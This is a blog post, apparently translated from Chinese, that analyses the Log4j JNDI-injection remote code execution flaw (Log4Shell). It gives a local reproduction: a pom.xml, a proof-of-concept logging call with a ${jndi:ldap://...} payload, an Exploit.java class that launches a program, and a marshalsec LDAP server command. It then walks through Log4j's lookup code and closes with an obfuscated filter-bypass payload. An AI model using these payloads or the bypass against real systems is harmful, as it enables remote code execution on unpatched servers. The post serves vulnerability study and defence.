Log4j Remote Code Execution Vulnerability

Log4j Remote Code Execution Vulnerability

Introduction

Vulnerability description

Apache Log4j is an open source project of Apache. Apache log4j-2 is an upgrade of Log4j. We can control the destination of log information transmission as console, file, GUI components, etc. By defining the level of each log information, we can more detailed Controls the log generation process.

There is a JNDI injection vulnerability in Log4j-2. This vulnerability can be triggered when the program logs the data input by the user. If this vulnerability is successfully exploited, arbitrary code can be executed on the target server.

Vulnerability principle

When the log content printed by log4j includes ${jndi:ldap://ip}, the program will access the address of ip through the Idap protocol, and then ip will return the address of a class file containing Java code, and then the program will pass through The returned address downloads the class file and executes it.

Sphere of influence

Apache Log4j 2.x < 2.15.0-rc2。

Vulnerability recurrence

Vscode creates a maven project, imports dependencies, pom.xmlcontent:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>Log4j</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
        </dependency>
    </dependencies>
</project>

Build the poc and test the vulnerability. In the actual situation, the parameter of logger.error is the input parameter of the website. Here we directly input the poc into the test.

// LogOut.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogOut {
    public static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

Build the malicious script Exploit.java

//Exploit.java
public class Exploit {
    public static void main(String[] args) throws Exception {
        System.out.println("Hello, World!");
        try{
            String cmd="calc";
            Runtime.getRuntime().exec(cmd);
        } catch(Exception e){
            e.printStackTrace();
        }
    }
}

Compile into a class file.

javac Exploit.java

To build ldap service, you need to download marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

image-20220907125517077

Key functions:

image-20220908194454201

workingBuilder stores the input string at offset, here ${jndi:ldap://localhost:1389/Exploit}we can see that the for loop traverses the entire input string to find it ${ .

follow up this.config.getStrSubstitutor().replace(event, value):

image-20220908195007215

Continue to follow up the substitute function:

image-20220908195914186

By looking at the debugger we can know prefixMatcher=${ , suffixMatcher=}, valueDelimiterString=:-,

image-20220908195949964

Finally, after matching the ${ sum }, ${jndi:ldap://localhost:1389/Exploit}the intermediate content is successfully extractedjndi:ldap://localhost:1389/Exploit

image-20220908200922868

The following are all :-equal processing, until the key function this.resolveVariable()is .varNamejndi:ldap://localhost:1389/Exploit

image-20220908201926090

Continue to follow up, cashback lookupfunction

image-20220908201832510

You can see that the various classes that the lookup function can implement include jndi, and of course we also use other methods.

image-20220908202643331

Eventually jndi injection is triggered.

At the same time, we can find that the disassembly and assembly operation is performed here, which is about to ${::-j}be changed jand re-merged into the source string. This is the basic principle of bypass.

image-20220908210740930

Here you can see the matching function, isMatch will match :-.

image-20220908212023212

Bypass

From the above analysis, in fact, as long as there is :-j, it can be bypassed. For example ${${a:-j}${b:-n}${c:-d}${d:-i}:${.:-l}${,:-d}${::-a}${::-p}://localhost:1389/Exploit}, of course, this is only the most primitive version of bypass, and the latest version has not been studied yet.
( ̄y▽, ̄)╭

Guess you like

Origin blog.csdn.net/weixin_44411509/article/details/126968478